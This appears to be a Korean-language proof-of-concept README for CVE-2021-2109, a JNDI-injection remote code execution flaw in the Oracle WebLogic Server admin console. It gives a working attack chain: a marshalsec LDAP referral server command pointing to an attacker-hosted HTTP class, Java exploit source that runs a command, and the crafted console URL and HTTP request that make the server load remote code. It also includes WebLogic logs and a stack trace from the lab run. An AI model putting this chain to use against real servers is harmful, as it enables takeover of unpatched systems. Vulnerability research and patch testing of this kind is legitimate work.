al1ex/cve-2021-2109CVE-2021-2109 && Weblogic Server의 JNDI를 통한 RCE
Oracle Fusion Middleware의 Oracle WebLogic Server 제품(구성 요소: Console)에서 취약점이 발견되었습니다. 영향을 받는 지원 버전은 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 및 14.1.1.0.0입니다. 이 취약점은 쉽게 악용될 수 있으며, 네트워크 접근이 가능하고 높은 권한을 가진 공격자가 HTTP를 통해 Oracle WebLogic Server를 손상시킬 수 있습니다. 이 취약점의 성공적인 공격은 Oracle WebLogic Server를 장악할 수 있습니다. CVSS 3.1 기본 점수 7.2 (기밀성, 무결성 및 가용성 영향). CVSS 벡터: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
로그인 인증 필요
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.174.1:4444/#Exploit 1088
javac Exploit.java
import java.lang.Runtime;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
http://192.168.174.144:7001/console/console.portal?_nfpb=true&_pageLabel=EJBTestHomePage&EJBTestHomePagehandle=com.bea.console.handles.JndiContextHandle("ldap://192.168.174.1:1088/Exploit;AdminServer")&returnTo=al1ex
LDAP 및 HTTPServer 로그:
GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.174;1:1088/Exploit;AdminServer%22) HTTP/1.1
Host: 192.168.174.144:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=GZUoX_MV8_7OMiv-hhhzix8-zbfknZI4Prm_41N4vUPBEt1vP8mf!2017534379; Hm_lvt_eaa57ca47dacb4ad4f5a257001a3457c=1605675257,1605704689,1605871061,1606205262; JSESSIONID=6qYoDKwKLN2nLGhJiJ1CtcaxZ8ENfjTU7B2n0GmG5HTVDrJxPkg3!655738588
Connection: close
burpsuite 결과:
weblogic 서버 결과:
LDAP 및 HTTPServer 로그(첫 번째 로그 항목은 poc1에 속함):
####<2021-1-22 下午12时48分01,552秒 CST> <Warning> <netuix> <DESKTOP-BFSBGQ0> <AdminServer> <[ACTIVE] ExecuteThread: '48' for queue: 'weblogic.kernel.Default (self-tuning)'> <weblogic> <> <6ee09b18-9ac0-4c9a-9f92-7ae146152075-0000006d> <1611290881552> <[severity-value: 16] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-423420> <开始操作或刷新操作时执行重定向。重定向 url 为 /console/consolejndi.portal?_nfpb=true&_pageLabel=UnexpectedExceptionPage。>
####<2021-1-22 下午12时48分42,691秒 CST> <Info> <WorkManager> <DESKTOP-BFSBGQ0> <AdminServer> <Timer-2> <<WLS Kernel>> <> <6ee09b18-9ac0-4c9a-9f92-7ae146152075-00000005> <1611290922691> <[severity-value: 64] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-002959> <Self-tuning thread pool contains 0 running threads, 1 idle threads, and 49 standby threads>
####<2021-1-22 下午12时49分37,248秒 CST> <Error> <Console> <DESKTOP-BFSBGQ0> <AdminServer> <[ACTIVE] ExecuteThread: '48' for queue: 'weblogic.kernel.Default (self-tuning)'> <weblogic> <> <6ee09b18-9ac0-4c9a-9f92-7ae146152075-0000006e> <1611290977248> <[severity-value: 8] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-240003> <Administration Console encountered the following error: javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory]; remaining name 'Exploit'
at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1092)
at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at com.bea.console.actions.jndi.JNDIBindingAction.execute(JNDIBindingAction.java:83)
at org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:431)
at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.access$201(PageFlowRequestProcessor.java:97)
at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor$ActionRunner.execute(PageFlowRequestProcessor.java:2044)
at org.apache.beehive.netui.pageflow.interceptor.action.internal.ActionInterceptors.wrapAction(ActionInterceptors.java:91)
at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.processActionPerform(PageFlowRequestProcessor.java:2116)
at com.bea.console.internal.ConsolePageFlowRequestProcessor.processActionPerform(ConsolePageFlowRequestProcessor.java:275)
at org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:237)
at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.processInternal(PageFlowRequestProcessor.java:556)
at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.process(PageFlowRequestProcessor.java:853)
at org.apache.beehive.netui.pageflow.AutoRegisterActionServlet.process(AutoRegisterActionServlet.java:631)
at org.apache.beehive.netui.pageflow.PageFlowActionServlet.process(PageFlowActionServlet.java:158)
at com.bea.console.internal.ConsoleActionServlet.process(ConsoleActionServlet.java:266)
at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:416)
at com.bea.console.internal.ConsoleActionServlet.doGet(ConsoleActionServlet.java:135)
at org.apache.beehive.netui.pageflow.PageFlowUtils.strutsLookup(PageFlowUtils.java:1199)
at org.apache.beehive.netui.pageflow.PageFlowUtils.strutsLookup(PageFlowUtils.java:1129)
at com.bea.portlet.adapter.scopedcontent.framework.internal.PageFlowUtilsBeehiveDelegate.strutsLookupInternal(PageFlowUtilsBeehiveDelegate.java:43)
at com.bea.portlet.adapter.scopedcontent.framework.PageFlowUtils.strutsLookup(PageFlowUtils.java:108)
at com.bea.portlet.adapter.scopedcontent.ScopedContentCommonSupport.executeAction(ScopedContentCommonSupport.java:707)
at com.bea.portlet.adapter.scopedcontent.ScopedContentCommonSupport.renderInternal(ScopedContentCommonSupport.java:265)
at com.bea.portlet.adapter.scopedcontent.StrutsStubImpl.render(StrutsStubImpl.java:105)
at com.bea.netuix.servlets.controls.content.NetuiContent.preRender(NetuiContent.java:292)
at com.bea.netuix.nf.ControlLifecycle$6.visit(ControlLifecycle.java:428)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:727)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
at com.bea.netuix.nf.ControlTreeWalker.walk(ControlTreeWalker.java:146)
at com.bea.netuix.nf.Lifecycle.processLifecycles(Lifecycle.java:399)
at com.bea.netuix.nf.Lifecycle.processLifecycles(Lifecycle.java:361)
at com.bea.netuix.nf.Lifecycle.runOutbound(Lifecycle.java:208)
at com.bea.netuix.nf.Lifecycle.run(Lifecycle.java:162)
at com.bea.netuix.servlets.manager.UIServlet.runLifecycle(UIServlet.java:465)
at com.bea.netuix.servlets.manager.UIServlet.doPost(UIServlet.java:291)
at com.bea.netuix.servlets.manager.UIServlet.doGet(UIServlet.java:231)
at com.bea.netuix.servlets.manager.UIServlet.service(UIServlet.java:216)
at com.bea.netuix.servlets.manager.SingleFileServlet.service(SingleFileServlet.java:275)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
at com.bea.console.utils.MBeanUtilsInitSingleFileServlet.service(MBeanUtilsInitSingleFileServlet.java:64)
at weblogic.servlet.AsyncInitServlet.service(AsyncInitServlet.java:125)
at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:295)
at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:260)
at weblogic.servlet.internal.StubSecurityHelper.invokeServlet(StubSecurityHelper.java:137)
at weblogic.servlet.internal.ServletStubImpl.execute(ServletStubImpl.java:353)
at weblogic.servlet.internal.TailFilter.doFilter(TailFilter.java:25)
at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
at com.bea.console.internal.ParamFilter.doFilter(ParamFilter.java:38)
at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
at weblogic.servlet.internal.RequestEventsFilter.doFilter(RequestEventsFilter.java:32)
at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.wrapRun(WebAppServletContext.java:3797)
at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.run(WebAppServletContext.java:3763)
at weblogic.security.acl.internal.AuthenticatedSubject.doAs(AuthenticatedSubject.java:344)
at weblogic.security.service.SecurityManager.runAsForUserCode(SecurityManager.java:197)
at weblogic.servlet.provider.WlsSecurityProvider.runAsForUserCode(WlsSecurityProvider.java:203)
at weblogic.servlet.provider.WlsSubjectHandle.run(WlsSubjectHandle.java:71)
at weblogic.servlet.internal.WebAppServletContext.doSecuredExecute(WebAppServletContext.java:2451)
at weblogic.servlet.internal.WebAppServletContext.securedExecute(WebAppServletContext.java:2299)
at weblogic.servlet.internal.WebAppServletContext.execute(WebAppServletContext.java:2277)
at weblogic.servlet.internal.ServletRequestImpl.runInternal(ServletRequestImpl.java:1720)
at weblogic.servlet.internal.ServletRequestImpl.run(ServletRequestImpl.java:1680)
at weblogic.servlet.provider.ContainerSupportProviderImpl$WlsRequestExecutor.run(ContainerSupportProviderImpl.java:272)
at weblogic.invocation.ComponentInvocationContextManager._runAs(ComponentInvocationContextManager.java:352)
at weblogic.invocation.ComponentInvocationContextManager.runAs(ComponentInvocationContextManager.java:337)
at weblogic.work.LivePartitionUtility.doRunWorkUnderContext(LivePartitionUtility.java:57)
at weblogic.work.PartitionUtility.runWorkUnderContext(PartitionUtility.java:41)
at weblogic.work.SelfTuningWorkManagerImpl.runWorkUnderContext(SelfTuningWorkManagerImpl.java:655)
at weblogic.work.ExecuteThread.execute(ExecuteThread.java:420)
at weblogic.work.ExecuteThread.run(ExecuteThread.java:360)
Caused by: java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)
... 94 more
>
####<2021-1-22 下午12时50分42,783秒 CST> <Info> <WorkManager> <DESKTOP-BFSBGQ0> <AdminServer> <Timer-2> <<WLS Kernel>> <> <6ee09b18-9ac0-4c9a-9f92-7ae146152075-00000005> <1611291042783> <[severity-value: 64] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-002959> <Self-tuning thread pool contains 0 running threads, 1 idle threads, and 49 standby threads>
https://www.oracle.com/security-alerts/cpujan2021.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-2109